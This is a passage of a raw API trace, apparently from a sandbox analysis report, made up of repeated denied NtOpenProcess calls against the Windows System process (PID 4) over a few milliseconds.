	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.695] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.696] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.697] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
	[0072.698] NtOpenProcess (in: ProcessHandle=0x272fa64, DesiredAccess=0x440, ObjectAttributes=0x272fa44*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x272fa5c*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x272fa64*=0x0) returned 0xc0000022
